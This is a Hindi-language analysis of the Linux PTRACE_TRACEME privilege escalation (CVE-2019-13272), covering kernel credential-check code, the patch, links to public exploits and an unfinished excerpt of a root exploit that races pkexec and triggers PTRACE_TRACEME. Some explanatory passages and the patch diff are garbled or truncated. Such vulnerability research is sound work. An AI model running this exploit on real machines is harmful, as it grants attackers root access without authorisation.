
PTRACE_TRACEME Linux कर्नेल में एक विशेषाधिकार वृद्धि भेद्यता है, जिसे जैन हॉर्न ने जुलाई 2019 में खोजा था।
Ptrace एक सिस्टम कॉल है, यह एक ऐसी विधि प्रदान करता है जो एक प्रोसेस (tracer) को दूसरे प्रोसेस (tracee) के निष्पादन की प्रक्रिया का निरीक्षण और नियंत्रण करने, उसके core image और रजिस्टरों की जाँच और परिवर्तन करने की अनुमति देता है, मुख्य रूप से इसका उपयोग डीबगिंग में break point सेट करने और सिस्टम कॉल प्रक्रिया को ट्रैक करने के लिए किया जाता है।``` c 1 396 kernel/ptrace.c <<ptrace_attach>> ptrace_link(task, current); 2 469 kernel/ptrace.c <<ptrace_traceme>> ptrace_link(current, current->real_parent);
ट्रेस संबंध स्थापित करने के दो तरीके हैं:
- प्रोसेस fork फ़ंक्शन को कॉल करेगा और उसकी child प्रोसेस tracee को आरंभ करने के लिए `PTRACE_TRACEME` (कर्नेल में `ptrace_traceme` फ़ंक्शन के अनुरूप) कॉल करेगी।
- प्रोसेस किसी अन्य प्रोसेस को trace करने के लिए एक tracer आरंभ करने हेतु `PTRACE_ATTACH` या `PTRACE_SEIZE` (कर्नेल में `ptrace_attach` फ़ंक्शन के अनुरूप) कॉल करता है।
चाहे कोई भी तरीका उपयोग किया जाए, tracer और tracee के बीच trace संबंध स्थापित करने के लिए अंततः `ptrace_link` फ़ंक्शन ही कॉल किया जाता है
- `ptrace_attach` के लिए `ptrace_link` में पारित दो पैरामीटर हैं 'task' (tracee) और 'current' (tracer)
- `ptrace_traceme` के लिए `ptrace_link` में पारित दो पैरामीटर हैं 'current' (tracee) और 'current->real_parent' (tracer)
यहां, हमें यह ध्यान रखना होगा कि `ptrace_link` फ़ंक्शन को कॉल करते समय उपरोक्त दोनों तरीकों में tracer और tracee के रूप में पारित होने वाले दो पैरामीटर क्या हैं, क्योंकि कमजोरी `ptrace_link` फ़ंक्शन में होगी।``` c
static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
rcu_read_lock();
__ptrace_link(child, new_parent, __task_cred(new_parent));
rcu_read_unlock();
}
void __ptrace_link(struct task_struct *child, struct task_struct *new_parent,
const struct cred *ptracer_cred)
{
BUG_ON(!list_empty(&child->ptrace_entry));
list_add(&child->ptrace_entry, &new_parent->ptraced); // 1. thêm chính nó vào hàng đợi
// ptraced của process cha
child->parent = new_parent; // 2. Lưu địa chỉ của process cha trong con trỏ parent
child->ptracer_cred = get_cred(ptracer_cred); // 3. Lưu ptracer_cred lại, ta cần tập trung
// vào biến này vì lỗi nằm ở đây
}
ट्रेस संबंध स्थापित करने की कुंजी यह है कि tracee tracer के cred को रिकॉर्ड करता है और उसे अपने 'ptracer_cred' चर में संग्रहीत करता है।
'ptracer_cred' की अवधारणा 2016 में एक पैच द्वारा पेश की गई थी, ptrace: Capture the ptracer's creds not PT_PTRACE_CAP। 'ptracer_cred' को पेश करने का उद्देश्य सुरक्षा जांच करना है जब tracee setuid executable को लोड करने के लिए exec निष्पादित करता है।
हमें इस सुरक्षा जांच की आवश्यकता क्यों है?
exec परिवार प्रक्रिया की image को अद्यतन कर सकता है। यदि निष्पादन योग्य फ़ाइल का setuid bit सेट है, तो जब निष्पादन योग्य फ़ाइल चलाई जाती है, प्रक्रिया का euid निष्पादन योग्य फ़ाइल के स्वामी के uid में संशोधित हो जाता है। प्रक्रिया के विशेषाधिकार exec को कॉल करने वाले उपयोगकर्ता के विशेषाधिकारों से अधिक होते हैं, और इस प्रकार के setuid executable को चलाने से विशेषाधिकार वृद्धि (escalation) का प्रभाव होगा।
कल्पना करें, यदि exec निष्पादित करने वाली प्रक्रिया स्वयं एक tracee है, तो setuid executable निष्पादित करके विशेषाधिकार वृद्धि करने के बाद, इसका tracer किसी भी समय इसके (tracee के) रजिस्टरों और मेमोरी को संशोधित कर सकता है, और यदि कम विशेषाधिकार वाला tracer उच्च विशेषाधिकार वाले tracee को नियंत्रित कर सकता है, तो tracer tracee के माध्यम से अनधिकृत कार्य कर सकता है।
हालाँकि, kernel में ऐसे अधिकार से परे व्यवहार की अनुमति नहीं दी जाती है, इसलिए ट्रेस संबंध स्थापित करते समय, tracee को tracer का cred (अर्थात ptracer_cred) संग्रहीत करना आवश्यक है। यदि tracee एक exec प्रक्रिया निष्पादित करता है, तो यह जाँच करेगा कि चलाई गई निष्पादन योग्य फ़ाइल का setuid bit सेट है या नहीं। यदि सेट है, तो यह 'ptracer_cred' के विशेषाधिकारों की जाँच करेगा। यदि विशेषाधिकार संतोषजनक नहीं हैं, तो setuid bit का निष्पादन विशेषाधिकार (फ़ाइल स्वामी का विशेषाधिकार) exec निष्पादित करने के लिए उपयोग नहीं किया जाएगा, बल्कि इसे मूल उपयोगकर्ता के विशेषाधिकारों के साथ निष्पादित किया जाएगा।
इस प्रक्रिया के code का विश्लेषण इस प्रकार है (इस लेख का code विश्लेषण v4.19-rc8 पर आधारित है)।``` python do_execve -> __do_execve_file -> prepare_binprm -> bprm_fill_uid -> security_bprm_set_creds ->cap_bprm_set_creds -> ptracer_capable ->selinux_bprm_set_creds ->(apparmor_bprm_set_creds) ->(smack_bprm_set_creds) ->(tomoyo_bprm_set_creds)
निष्पादन अनुमतियों से संबंधित गतिविधियाँ मुख्य रूप से `prepare_binprm` फ़ंक्शन में स्थित हैं।``` c
1567 int prepare_binprm(struct linux_binprm *bprm)
1568 {
1569 int retval;
1570 loff_t pos = 0;
1571
1572 bprm_fill_uid(bprm); // <-- fill cred của new process (xem hàm bprm_fill_uid bên dưới sẽ rõ hơn)
1573
1574 /* fill in binprm security blob */
1575 retval = security_bprm_set_creds(bprm); // <-- kiểm tra bảo mật, để xem xét sửa đổi cred của new process
1576 if (retval)
1577 return retval;
1578 bprm->called_set_creds = 1;
1579
1580 memset(bprm->buf, 0, BINPRM_BUF_SIZE);
1581 return kernel_read(bprm->file, bprm->buf, BINPRM_BUF_SIZE, &pos);
1582 }
जैसा ऊपर बताया गया है, पहले नए प्रोसेस के cred को भरने के लिए bprm_fill_uid को कॉल करें, फिर सुरक्षा की जाँच करने और यदि आवश्यक हो तो नए cred को संशोधित करने के लिए security_bprm_set_creds को कॉल करें।``` c
1509 static void bprm_fill_uid(struct linux_binprm *bprm)
1510 {
1511 struct inode inode;
1512 unsigned int mode;
1513 kuid_t uid;
1514 kgid_t gid;
1515
1516 /
1517 * Since this can be called multiple times (via prepare_binprm),
1518 * we must clear any previous work done when setting set[ug]id
1519 * bits from any earlier bprm->file uses (for example when run
1520 * first for a setuid script then again for its interpreter).
1521 /
1522 bprm->cred->euid = current_euid(); // <--- trước tiên sẽ sử dụng euid của process hiện tại
1523 bprm->cred->egid = current_egid();
1524
1525 if (!mnt_may_suid(bprm->file->f_path.mnt))
1526 return;
1527
1528 if (task_no_new_privs(current))
1529 return;
1530
1531 inode = bprm->file->f_path.dentry->d_inode;
1532 mode = READ_ONCE(inode->i_mode);
1533 if (!(mode & (S_ISUID|S_ISGID))) // <---------- nếu bit setuid/setgid của file thực thi không được set
1534 return; // , hàm sẽ return tại đây.
1535
1536 / Be careful if suid/sgid is set /
1537 inode_lock(inode);
1538
1539 / reload atomically mode/uid/gid now that lock held /
1540 mode = inode->i_mode;
1541 uid = inode->i_uid; // <---- nếu S_ISUID được set,sử dụng i_uid của file
1542 gid = inode->i_gid;
1543 inode_unlock(inode);
1544
1545 / We ignore suid/sgid if there are no mappings for them in the ns */
1546 if (!kuid_has_mapping(bprm->cred->user_ns, uid) ||
1547 !kgid_has_mapping(bprm->cred->user_ns, gid))
1548 return;
1549
1550 if (mode & S_ISUID) {
1551 bprm->per_clear |= PER_CLEAR_ON_SETID;
1552 bprm->cred->euid = uid; // <------ sử dụng uid của file như là euid của new process
1553 }
1554
1555 if ((mode & (S_ISGID | S_IXGRP)) == (S_ISGID | S_IXGRP)) {
1556 bprm->per_clear |= PER_CLEAR_ON_SETID;
1557 bprm->cred->egid = gid;
1558 }
1559 }
ऊपर दिए गए कोड के लिए निम्नलिखित 2 पंक्तियों को देखें:
- पंक्ति 1522, वर्तमान process की euid को new euid में निर्दिष्ट करता है, इसलिए अधिकांश निष्पादित process अपने मूल अधिकारों के अंतर्गत निष्पादित होते हैं।
- पंक्ति 1552, यदि suid बिट सेट है, तो निष्पादन योग्य फ़ाइल के स्वामी की uid को new uid में निर्दिष्ट करता है। इसे setuid के समान समझा जा सकता है। New euid निष्पादन योग्य फ़ाइल के स्वामी की uid बन जाता है; यदि स्वामी एक विशेषाधिकार प्राप्त user है, तो विशेषाधिकार वृद्धि यहाँ होती है।
हालाँकि, यहाँ euid अभी अंतिम परिणाम नहीं है, हमें सुरक्षा जाँच के बारे में अधिक जानने के लिए `security_bprm_set_creds` फ़ंक्शन की जाँच करनी होगी।
`security_bprm_set_creds` फ़ंक्शन [LSM](https://en.wikipedia.org/wiki/Linux_Security_Modules) framework को कॉल करता है
जिस kernel संस्करण का मैंने विश्लेषण किया है, उसमें 'bprm_set_creds' की सुरक्षा जाँच करने वाले 5 lsm framework hook बिंदु हैं। जाँच फ़ंक्शन निम्नलिखित हैं:``` python
cap_bprm_set_creds
selinux_bprm_set_creds
apparmor_bprm_set_creds
smack_bprm_set_creds
tomoyo_bprm_set_creds
यहाँ कौन से हुक फ़ंक्शन निष्पादित होंगे यह प्रत्येक विशिष्ट कर्नेल के कॉन्फ़िगरेशन पर निर्भर करेगा। सिद्धांत रूप में, यदि सभी LSM फ्रेमवर्क सक्षम हैं, तो ऊपर उल्लिखित सभी हुक फ़ंक्शन 'bprm_set_creds' की जाँच के लिए लागू किए जाएँगे।
मेरे विश्लेषण वातावरण में केवल cap_bprm_set_creds और selinux_bprm_set_creds हुक फ़ंक्शन चलते हैं।
इनमें से, cap_bprm_set_creds फ़ंक्शन euid बदलने की भूमिका निभाएगा:``` c
815 int cap_bprm_set_creds(struct linux_binprm *bprm)
816 {
817 const struct cred *old = current_cred();
818 struct cred new = bprm->cred;
819 bool effective = false, has_fcap = false, is_setid;
820 int ret;
821 kuid_t root_uid;
===================== skip ======================
838 / Don't let someone trace a set[ug]id/setpcap binary with the revised
839 * credentials unless they have the appropriate permit.
840 *
841 * In addition, if NO_NEW_PRIVS, then ensure we get no new privs.
842 /
843 is_setid = __is_setuid(new, old) || __is_setgid(new, old);
844
845 if ((is_setid || __cap_gained(permitted, new, old)) && // <---- kiểm tra setid của chương trình được thực thi
846 ((bprm->unsafe & ~LSM_UNSAFE_PTRACE) ||
847 !ptracer_capable(current, new->user_ns))) { // <----- Nếu process thực thi execve được trace, và executed program là setuid, quyền sẽ được xem xét thêm vào
848 / downgrade; they get no more than they had, and maybe less */
849 if (!ns_capable(new->user_ns, CAP_SETUID) ||
850 (bprm->unsafe & LSM_UNSAFE_NO_NEW_PRIVS)) {
851 new->euid = new->uid; // <----- Nếu không thỏa điều kiện, euid của tiến trình mới sẽ được reset về uid ban đầu
852 new->egid = new->gid;
853 }
854 new->cap_permitted = cap_intersect(new->cap_permitted,
855 old->cap_permitted);
856 }
857
858 new->suid = new->fsuid = new->euid;
859 new->sgid = new->fsgid = new->egid;
===================== skip ======================
}
जैसा ऊपर है,
- पंक्ति 845 जाँचती है कि euid मूल uid के साथ संगत है या नहीं (ऊपर `bprm_fill_uid` फ़ंक्शन के विश्लेषण में, यदि निष्पादित की जाने वाली फ़ाइल में setuid बिट सेट है, तो euid आमतौर पर संगत नहीं होगा) ==> यहाँ इसे यह भी समझा जा सकता है कि यह यह पता लगाने के बराबर है कि निष्पादित प्रक्रिया setid प्रोग्राम है या नहीं।
- पंक्ति 847 जाँचती है कि प्रक्रिया tracee है या नहीं।
यदि उपरोक्त दोनों शर्तें पूरी होती हैं, तो अनुमति की जाँच करने के लिए `ptracer_capable` फ़ंक्शन को निष्पादित करने की आवश्यकता होती है। यदि जाँच संतुष्ट नहीं होती है, तो अनुमति में कमी (ह्रास) की जाएगी।
- पंक्ति 851, '*new->euid*' का मान बदलकर '*new->uid*' कर देती है, जिसका अर्थ है कि `bprm_fill_uid` फ़ंक्शन (cred) से प्राप्त अनुमति को यहाँ घटाया जा सकता है।``` c
499 bool ptracer_capable(struct task_struct *tsk, struct user_namespace *ns)
500 {
501 int ret = 0; /* An absent tracer adds no restrictions */
502 const struct cred *cred;
503 rcu_read_lock();
504 cred = rcu_dereference(tsk->ptracer_cred); // <----- lấy ra ptracer_cred được lưu khi ptrace_link
505 if (cred)
506 ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE); // <-- đi vào lsm framwork để kiểm tra bảo mật
507 rcu_read_unlock();
508 return (ret == 0);
509 }
जैसा ऊपर बताया गया है
वेरिएबल 'tsk->ptracer_cred' यहीं स्थित भेद्यता से संबंधित है। जैसा पहले बताया गया था, यह वेरिएबल tracer का cred है, जिसे tracee द्वारा trace relationship स्थापित होने पर संग्रहीत किया जाता है।
जब tracee बाद में execve निष्पादित करके suid executable चलाता है, तो वह ptracer_capable फ़ंक्शन को कॉल करता है और lsm में security framework का उपयोग करके 'ptracer_cred' के अधिकारों का निर्धारण करता है।
हम lsm framework में security_capable_noaudit का विश्लेषण नहीं करेंगे, लेकिन इसे सरलता से समझा जा सकता है कि यदि tracer के पास स्वयं root विशेषाधिकार है, तो यहाँ जाँच पास हो जाएगी; अन्यथा यह त्रुटि लौटाएगा।
पिछले विश्लेषण के अनुसार, यदि ptracer_capable फ़ंक्शन द्वारा की गई जाँच विफल होती है, तो 'new->euid' के अधिकार को मूल अधिकार पर ला दिया जाता है।
उदाहरण: A, B पर ptrace करता है, B execve '/usr/bin/passwd' निष्पादित करता है। ऊपर दिए गए कोड के विश्लेषण के अनुसार, यदि A के पास root अधिकार है, तो passwd निष्पादित करने वाले B का euid root होगा; अन्यथा यह मूल अधिकार का उपयोग करेगा।``` c
kernel/ptrace.c <<ptrace_traceme>>
ptrace_link(current, current->real_parent);
static void ptrace_link(struct task_struct *child, struct task_struct *new_parent) { rcu_read_lock(); __ptrace_link(child, new_parent, __task_cred(new_parent)); rcu_read_unlock(); }
ऊपर दिए गए भेद्यता वाले कोड पर वापस आते हुए, trace link सेट करते समय traceme अपने parent के cred को दर्ज करने में गलत क्यों होता है? स्पष्ट रूप से इस समय उसका parent tracer है?
Jann Horn के उदाहरण का उपयोग करके इस कारण को स्पष्ट करें कि इस तरह से trace link सेट करते समय traceme tracer के cred का उपयोग क्यों नहीं कर सकता।``` py
- 1, task A: fork()s a child, task B
- 2, task B: fork()s a child, task C
- 3, task B: execve(/some/special/suid/binary)
- 4, task C: PTRACE_TRACEME (creates privileged ptrace relationship)
- 5, task C: execve(/usr/bin/passwd)
- 6, task B: drop privileges (setresuid(getuid(), getuid(), getuid()))
- 7, task B: become dumpable again (e.g. execve(/some/other/binary))
- 8, task A: PTRACE_ATTACH to task B
- 9, task A: use ptrace to take control of task B
- 10, task B: use ptrace to take control of task C
उपरोक्त परिदृश्य में कुल 3 प्रोसेस हैं: A, B, C।
PTRACE_TRACEME का उपयोग करता है, क्योंकि B का euid अब 0 है (क्योंकि उसने अभी-अभी suid binary निष्पादित की है), C द्वारा लिखा गया 'ptracer_cred' का euid भी 0 है।execve(suid binary) निष्पादित करता है। उपरोक्त विश्लेषण के अनुसार, चूँकि C का 'ptracer_cred' विशेषाधिकार प्राप्त है, ptracer_capable फ़ंक्शन pass हो जाता है, इसलिए execve निष्पादित करने के बाद, टास्क C का euid भी बढ़ाकर 0 कर दिया जाता है। ध्यान दें कि इस समय B और C के बीच trace link अभी भी मान्य है।setresuid निष्पादित करता है। इसका उद्देश्य टास्क A के साथ attach करना है।PTRACE_ATTACH का उपयोग करता है। A और B दोनों के पास सामान्य विशेषाधिकार हैं, फिर A, B को नियंत्रित करके कोई भी गतिविधि कर सकता है।पहले 9 चरण पिछले कोड विश्लेषण के अनुसार स्थापित किए जा चुके हैं, तो क्या 9वाँ चरण स्थापित किया जा सकता है?
चरण 10 निष्पादित करते समय, टास्क B के पास स्वयं सामान्य विशेषाधिकार हैं, टास्क C के पास रूट विशेषाधिकार हैं, और B और C के बीच trace link मान्य है। इस स्थिति में, क्या B एक ptrace अनुरोध भेजकर C से विभिन्न गतिविधियाँ करवा सकता है, जिसमें विशेषाधिकार वृद्धि भी शामिल है?
आइए नीचे दिए गए कोड के साथ इसका विश्लेषण करें:``` c 1111 SYSCALL_DEFINE4(ptrace, long, request, long, pid, unsigned long, addr, 1112 unsigned long, data) 1113 { 1114 struct task_struct child; 1115 long ret; 1116 1117 if (request == PTRACE_TRACEME) { 1118 ret = ptrace_traceme(); // <----- đi vào nhánh traceme 1119 if (!ret) 1120 arch_ptrace_attach(current); 1121 goto out; 1122 } 1123 1124 child = find_get_task_by_vpid(pid); 1125 if (!child) { 1126 ret = -ESRCH; 1127 goto out; 1128 } 1129 1130 if (request == PTRACE_ATTACH || request == PTRACE_SEIZE) { 1131 ret = ptrace_attach(child, request, addr, data); // <------ đi vào nhánh attach 1132 / 1133 * Some architectures need to do book-keeping after 1134 * a ptrace attach. 1135 */ 1136 if (!ret) 1137 arch_ptrace_attach(child); 1138 goto out_put_task_struct; 1139 } 1140 1141 ret = ptrace_check_attach(child, request == PTRACE_KILL || 1142 request == PTRACE_INTERRUPT); 1143 if (ret < 0) 1144 goto out_put_task_struct; 1145 1146 ret = arch_ptrace(child, request, addr, data); // <---- các yêu cầu ptrace khác 1147 if (ret || request != PTRACE_DETACH) 1148 ptrace_unfreeze_traced(child); 1149 1150 out_put_task_struct: 1151 put_task_struct(child); 1152 out: 1153 return ret; 1154 }
जैसा कि ऊपर दिए गए कोड में है, क्योंकि task B और task C के पास इस समय पहले से ही trace links मौजूद हैं, ptrace अनुरोध सीधे B के माध्यम से C को भेजा जा सकता है, जिससे `arch_ptrace` फ़ंक्शन कॉल किया जाएगा।``` c
arch/x86/kernel/ptrace.c
arch_ptrace
-> ptrace_request
-> generic_ptrace_peekdata
generic_ptrace_pokedata
-> ptrace_access_vm
-> ptracer_capable
kernel/ptrace.c
884 int ptrace_request(struct task_struct *child, long request,
885 unsigned long addr, unsigned long data)
886 {
887 bool seized = child->ptrace & PT_SEIZED;
888 int ret = -EIO;
889 siginfo_t siginfo, *si;
890 void __user *datavp = (void __user *) data;
891 unsigned long __user *datalp = datavp;
892 unsigned long flags;
893
894 switch (request) {
895 case PTRACE_PEEKTEXT:
896 case PTRACE_PEEKDATA:
897 return generic_ptrace_peekdata(child, addr, data);
898 case PTRACE_POKETEXT:
899 case PTRACE_POKEDATA:
900 return generic_ptrace_pokedata(child, addr, data);
901
=================== skip ================
1105 }
1156 int generic_ptrace_peekdata(struct task_struct *tsk, unsigned long addr,
1157 unsigned long data)
1158 {
1159 unsigned long tmp;
1160 int copied;
1161
1162 copied = ptrace_access_vm(tsk, addr, &tmp, sizeof(tmp), FOLL_FORCE); // <--- gọi hàm ptrace_access_vm
1163 if (copied != sizeof(tmp))
1164 return -EIO;
1165 return put_user(tmp, (unsigned long __user *)data);
1166 }
1167
1168 int generic_ptrace_pokedata(struct task_struct *tsk, unsigned long addr,
1169 unsigned long data)
1170 {
1171 int copied;
1172
1173 copied = ptrace_access_vm(tsk, addr, &data, sizeof(data), // <---- gọi hàm ptrace_access_vm
1174 FOLL_FORCE | FOLL_WRITE);
1175 return (copied == sizeof(data)) ? 0 : -EIO;
1176 }
जब tracer tracee को नया कोड लॉजिक निष्पादित करने के लिए नियंत्रित करना चाहता है, तो उसे tracee के कोड क्षेत्र और मेमोरी क्षेत्र में पढ़ने और लिखने के अनुरोध भेजने की आवश्यकता होती है। संगत अनुरोध PTRACE_PEEKTEXT/PTRACE_PEEKDATA/PTRACE_POKETEXT/PTRACE_POKEDATA फ़ंक्शन हैं।
ये पढ़ने और लिखने की क्रियाएँ अंततः ptrace_access_vm फ़ंक्शन के माध्यम से की जाती हैं।``` c
kernel/ptrace.c
38 int ptrace_access_vm(struct task_struct *tsk, unsigned long addr,
39 void *buf, int len, unsigned int gup_flags)
40 {
41 struct mm_struct *mm;
42 int ret;
43
44 mm = get_task_mm(tsk);
45 if (!mm)
46 return 0;
47
48 if (!tsk->ptrace ||
49 (current != tsk->parent) ||
50 ((get_dumpable(mm) != SUID_DUMP_USER) &&
51 !ptracer_capable(tsk, mm->user_ns))) { // < ----- gọi hàm ptracer_capable một lần nữa.
52 mmput(mm);
53 return 0;
54 }
55
56 ret = __access_remote_vm(tsk, mm, addr, buf, len, gup_flags);
57 mmput(mm);
58
59 return ret;
60 }
kernel/capability.c 499 bool ptracer_capable(struct task_struct *tsk, struct user_namespace ns) 500 { 501 int ret = 0; / An absent tracer adds no restrictions */ 502 const struct cred *cred; 503 rcu_read_lock(); 504 cred = rcu_dereference(tsk->ptracer_cred); 505 if (cred) 506 ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE); 507 rcu_read_unlock(); 508 return (ret == 0); 509 }
उपरोक्त कोड को देखते हुए, हम देख सकते हैं कि `ptrace_access_vm` फ़ंक्शन, यह निर्धारित करने के लिए कि क्या उसका अनुरोध पूरा किया जा सकता है, उस `ptracer_capable` फ़ंक्शन को कॉल करता है जिसका हमने पहले विश्लेषण किया था।
पिछले विश्लेषण के अनुसार, इस समय task C में संग्रहीत '*ptracer_cred*' एक विशेषाधिकार प्राप्त cred है, इसलिए `ptracer_capable` इस समय पास हो जाएगा, जिसका अर्थ है कि उपरोक्त प्रश्न का उत्तर मिल चुका है। इस स्थिति में, सामान्य विशेषाधिकार वाला task B, root विशेषाधिकार वाले task C के मेमोरी क्षेत्र और कोड क्षेत्र में पढ़ने और लिखने के अनुरोध भेजने के लिए ptrace का उपयोग कर सकता है।
इस समय, '*ptracer_cred*' विशेषाधिकार task C द्वारा दो स्थितियों में लागू किया जाता है:
- Task C, विशेषाधिकार बढ़ाने के लिए `execve(suid binary)` निष्पादित करता है
- सामान्य विशेषाधिकार वाला task B, task C के कोड क्षेत्र और मेमोरी क्षेत्र को पढ़ने और लिखने के लिए ptrace निष्पादित कर सकता है, जिससे task C को मनमाने ढंग से संचालन करने के लिए नियंत्रित किया जा सकता है
क्या उपरोक्त दोनों भूमिकाओं का संयोजन एक पूर्ण विशेषाधिकार वृद्धि (privilege escalation) ऑपरेशन है?
उपरोक्त प्रश्न का उत्तर देने से पहले, हम देखेंगे कि इस भेद्यता का शोषण (exploit) कैसे किया गया और इसे कैसे पैच किया गया।
# PTRACE_TRACEME भेद्यता पैच का संक्षिप्त विवरण```
PTRACE_TRACEME records the parent's credentials as if the parent was
acting as the subject, but that's not the case. If a malicious
unprivileged child uses PTRACE_TRACEME and the parent is privileged, and
at a later point, the parent process becomes attacker-controlled
(because it drops privileges and calls execve()), the attacker ends up
with control over two processes with a privileged ptrace relationship,
which can be abused to ptrace a suid binary and obtain root privileges.
मूल रूप से, यह भेद्यता TOCTOU प्रकार की भेद्यता से कुछ हद तक मिलती-जुलती है। traceme चरण में 'ptracer_cred' प्राप्त करना और अगले ptrace अनुरोध में अगले चरण में 'ptracer_cred' का उपयोग करना, tracer का cred प्रारंभिक cred नहीं हो सकता है, बल्कि लिंकिंग समय का cred होता है (अर्थात इसे ptrace_link फ़ंक्शन के अंदर पुनः असाइन किया जाता है)।``` diff
diff --git a/kernel/ptrace.c b/kernel/ptrace.c
index 8456b6e..705887f 100644
--- a/kernel/ptrace.c
+++ b/kernel/ptrace.c
@@ -79,9 +79,7 @@ void __ptrace_link(struct task_struct *child, struct task_struct *new_parent,
*/
static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
आइए पैच पर फिर से नज़र डालें: '*\_\_task_cred(new_parent)*' को '*current_cred()*' से बदल दिया गया
पैच इंगित करता है कि जब PTRACE_TRACEME निष्पादित किया जाता है, '*ptracer_cred*' पैरेंट process की cred का उपयोग नहीं करता, बल्कि अपनी स्वयं की cred का उपयोग करता है।
# Exploit
इस भेद्यता का शोषण करने की कुंजी task B को आरंभ करने के लिए एक उपयुक्त निष्पादन योग्य प्रोग्राम ढूंढना है। इस निष्पादन योग्य प्रोग्राम को निम्नलिखित शर्तें पूरी करनी होंगी
- सामान्य उपयोगकर्ता इसे कॉल कर सकता है
- निष्पादन के दौरान root तक विशेषाधिकार वृद्धि का एक चरण होना चाहिए
- root विशेषाधिकार प्राप्त करने के बाद, विशेषाधिकार को घटाने में सक्षम होना चाहिए।
(अस्थायी रूप से root तक बढ़ने का उद्देश्य task C को root का ptracer_cred प्राप्त करने की अनुमति देना है, और विशेषाधिकार घटाने का उद्देश्य B को सामान्य ptrace विशेषाधिकारों वाली process द्वारा attach किए जाने की अनुमति देना है))
यहाँ शोषण के लिए 3 कोड नमूने हैं:
- [Exploit by Jann Horn](https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=401217)
- [Exploit by Bcoles](https://github.com/bcoles/kernel-exploits/blob/master/CVE-2019-13272/poc.c)
- [Exploit by Jiayy](https://github.com/jiayy/android_vuln_poc-exp/tree/master/EXP-CVE-2019-13272)
[Jann Horn के exploit](https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=401217) में, मशीन पर उपलब्ध (डेस्कटॉप संस्करण के लिए) [pkexec](http://manpages.ubuntu.com/manpages/trusty/man1/pkexec.1.html) प्रोग्राम का उपयोग task B आरंभ करने के लिए किया जाता है
[pkexec](http://manpages.ubuntu.com/manpages/trusty/man1/pkexec.1.html) एक उपयोगकर्ता को किसी अन्य उपयोगकर्ता के विशेषाधिकारों के साथ एक प्रोग्राम चलाने की अनुमति देता है, जिसका उपयोग polkit प्रमाणीकरण ढांचे (framework) में किया जाता है। जब --user पैरामीटर का उपयोग किया जाता है, तो यह process को विशेषाधिकारों को root तक बढ़ाने और फिर निर्दिष्ट उपयोगकर्ता तक घटाने की अनुमति देता है, इसलिए इसका उपयोग task B के निर्माण की प्रक्रिया के लिए किया जा सकता है। इसके अलावा, हमें polkit ढांचे के माध्यम से निष्पादित किए जाने वाले अतिरिक्त निष्पादन योग्य प्रोग्राम खोजने की आवश्यकता है (Jann Horn helper का उपयोग करता है)। इन प्रोग्रामों को यह शर्त पूरी करनी होगी कि सामान्य उपयोगकर्ता बिना प्रमाणीकरण के pkexec के साथ उन्हें निष्पादित कर सके (polkit के माध्यम से निष्पादित कई प्रोग्राम पॉप-अप विंडो के माध्यम से प्रमाणीकरण की मांग करते हैं)। इसे निष्पादित करने का तरीका इस प्रकार है:``` sh
/usr/bin/pkexec —user nonrootuser /user/sbin/some-helper-binary
Exploit Bcoles का Jann Horn के आधार पर अतिरिक्त helper बाइनरी खोजने के लिए कोड जोड़ता है। चूँकि Jann Horn का helper एक hard-coded प्रोग्राम है, यह कई Linux वितरणों में मौजूद नहीं होता, इसलिए उसका exploit कई वितरण प्रणालियों पर उपयोग नहीं किया जा सकता। इसके विपरीत, bcoles का exploit कोड अधिक वितरणों पर सफलतापूर्वक चल सकता है।
शोध उद्देश्यों के लिए, मैं Jiayy के exploit के बारे में बात करूँगा, क्योंकि विभिन्न वितरणों की helper बाइनरी अलग-अलग होती हैं और pkexec केवल डेस्कटॉप वितरणों पर उपलब्ध होता है। वास्तव में, यह विशेषाधिकार वृद्धि भेद्यता Linux kernel की एक भेद्यता है, इसलिए Jann Horn के exploit को हाथ से बनाए गए दो प्रोग्रामों fakepkexec और fakehelper के माध्यम से विशेषाधिकार वृद्धि के लिए उपयोग करने हेतु संशोधित किया गया है (लक्ष्य प्रणाली से खोजने के बजाय), ताकि पाठक इस exploit को इस भेद्यता वाले किसी भी Linux सिस्टम (डेस्कटॉप न होने पर भी) पर शोध के लिए चला सकें।
नीचे दिए गए exploit कोड को देखें:``` c 167 int main(int argc, char *argv) { 168 if (strcmp(argv[0], "stage2") == 0) 169 return middle_stage2(); 170 if (strcmp(argv[0], "stage3") == 0) 171 return spawn_shell(); 172 173 helper_path = "/tmp/fakehelper"; 174 175 / 176 * set up a pipe such that the next write to it will block: packet mode, 177 * limited to one packet 178 / 179 SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT)); 180 SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000)); 181 char dummy = 0; 182 SAFE(write(block_pipe[1], &dummy, 1)); 183 184 / spawn pkexec in a child, and continue here once our child is in execve() / 185 static char middle_stack[10241024]; 186 pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack), 187 CLONE_VM|CLONE_VFORK|SIGCHLD, NULL)); 188 if (!middle_success) return 1; 189 ======================= skip ======================= 215 }
पहले, लाइन 186 को देखें, clone फ़ंक्शन कॉल जो एक चाइल्ड प्रोसेस (task B) बनाने के लिए है, task B middle_main फ़ंक्शन चलाएगा।``` c
64 static int middle_main(void *dummy) {
65 prctl(PR_SET_PDEATHSIG, SIGKILL);
66 pid_t middle = getpid();
67
68 self_fd = SAFE(open("/proc/self/exe", O_RDONLY));
69
70 pid_t child = SAFE(fork());
71 if (child == 0) {
72 prctl(PR_SET_PDEATHSIG, SIGKILL);
73
74 SAFE(dup2(self_fd, 42));
75
76 /* spin until our parent becomes privileged (have to be fast here) */
77 int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
78 char *needle = tprintf("nUid:t%dt0t", getuid());
79 while (1) {
80 char buf[1000];
81 ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
82 buf[buflen] = '';
83 if (strstr(buf, needle)) break;
84 }
85
86 /*
87 * this is where the bug is triggered.
88 * while our parent is in the middle of pkexec, we force it to become our
89 * tracer, with pkexec's creds as ptracer_cred.
90 */
91 SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));
92
93 /*
94 * now we execute passwd. because the ptrace relationship is considered to
95 * be privileged, this is a proper suid execution despite the attached
96 * tracer, not a degraded one.
97 * at the end of execve(), this process receives a SIGTRAP from ptrace.
98 */
